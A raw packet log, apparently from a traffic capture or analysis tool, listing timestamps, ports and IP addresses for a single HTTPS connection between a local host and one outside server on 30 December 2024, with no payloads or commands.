Dec 30, 2024 16:17:44.601803064 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601883888 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601890087 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601900101 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601932049 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.601974964 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601974964 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.601980925 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602421999 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602468014 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602507114 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.602507114 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.602514029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602545023 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602575064 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602596998 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.602602959 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602636099 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.602637053 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.602715015 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602767944 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.602796078 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602833986 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602845907 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.602854967 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602865934 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602875948 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.602926016 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.602930069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602943897 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.602991104 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.602996111 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603039980 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603094101 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.603100061 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603132963 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603164911 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603183985 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.603189945 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603204966 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.603209019 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603276014 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.603281975 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603391886 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603426933 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603450060 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.603456020 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603477955 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.603559971 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603615999 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603625059 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.603631020 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603645086 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.603658915 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.603738070 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.603741884 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.604188919 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.626179934 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.626214981 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.626257896 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.626264095 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.626280069 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.626300097 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.687700033 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.687743902 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.687778950 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.687778950 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.687793016 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.687818050 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.687829971 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.687843084 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.687850952 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.687871933 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.687900066 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.687926054 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.687931061 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688277006 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688312054 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688329935 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.688335896 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688380957 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688396931 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.688420057 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688436985 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.688442945 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688455105 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688476086 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.688509941 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688519001 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.688525915 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688540936 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688558102 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.688576937 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.688582897 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688673973 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.688914061 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688952923 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688971996 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.688977003 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.688996077 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689008951 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689035892 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689053059 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689059019 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689070940 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689080954 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689100981 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689106941 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689136982 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689141035 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689188004 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689193964 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689201117 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689224958 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689284086 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689313889 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689333916 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689340115 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689363003 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689467907 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689511061 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689518929 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689524889 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689544916 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689553022 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689583063 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689615011 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689615965 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689625025 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689626932 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689670086 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689675093 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689683914 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689807892 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689815998 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689855099 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689871073 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689877033 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689892054 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.689910889 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689943075 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.689946890 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.690015078 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.712717056 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.712749958 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.712831974 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.712831974 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.712843895 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.713283062 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.773909092 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.773946047 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.773978949 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774003983 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774010897 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774029970 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774061918 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774127007 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774136066 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774142027 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774157047 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774179935 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774185896 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774252892 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774252892 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774338961 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774370909 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774391890 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774399996 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774432898 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774452925 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774452925 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774463892 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774480104 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774537086 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774575949 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774597883 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774602890 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774617910 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774935007 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774974108 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.774993896 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.774998903 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775023937 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775034904 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775116920 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775121927 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775158882 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775196075 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775221109 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775230885 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775237083 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775262117 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775264978 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775351048 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775351048 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775361061 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775372982 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775448084 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775465965 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775473118 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775501966 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775540113 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775540113 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775540113 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775553942 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775576115 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775610924 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775634050 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775640011 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775687933 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775717974 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775770903 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775778055 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775784016 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775810957 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775826931 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775871992 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.775876045 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.775973082 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.776005030 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.776022911 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.776029110 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.776062965 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.776073933 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.776073933 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.776082039 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.776169062 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.798973083 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.799032927 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.799041986 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.799051046 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.799102068 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.847645044 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860147953 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860205889 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860295057 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860295057 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860296011 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860307932 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860342026 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860357046 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860387087 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860393047 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860431910 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860438108 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860444069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860476971 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860482931 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860488892 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860517979 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860518932 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860538960 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860543966 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860573053 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860599041 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860642910 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860661983 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860667944 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860697031 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860744953 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860774994 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860858917 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860879898 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860879898 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860886097 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.860923052 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.860924006 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861145020 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861196995 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861206055 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861252069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861272097 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861277103 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861294985 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861613989 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861658096 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861670017 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861675024 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861696005 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861737013 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861766100 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861766100 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861773968 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861783028 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861797094 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861826897 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861826897 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861838102 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861881971 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861918926 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861922979 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861929893 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.861934900 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861965895 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.861982107 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.862014055 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.862020016 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.862026930 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.862076998 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.862122059 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.862162113 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.862180948 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.862186909 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.862205029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.862272024 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.862272024 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.862279892 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.862324953 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.862370968 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.862390041 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.862395048 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.862428904 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.862428904 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.885150909 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.885200024 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.885247946 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.885263920 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.885279894 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.885701895 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.946510077 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.946614981 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.946656942 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.946701050 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.946717978 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.946729898 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.946743011 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.946755886 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.946783066 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.946794987 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.946800947 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.946827888 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.946830988 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.946926117 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.946953058 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.946959019 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.946969032 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.947005033 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:44.947041035 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.947041035 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:44.947041035 CET	57860	443	192.168.2.5	169.197.85.95
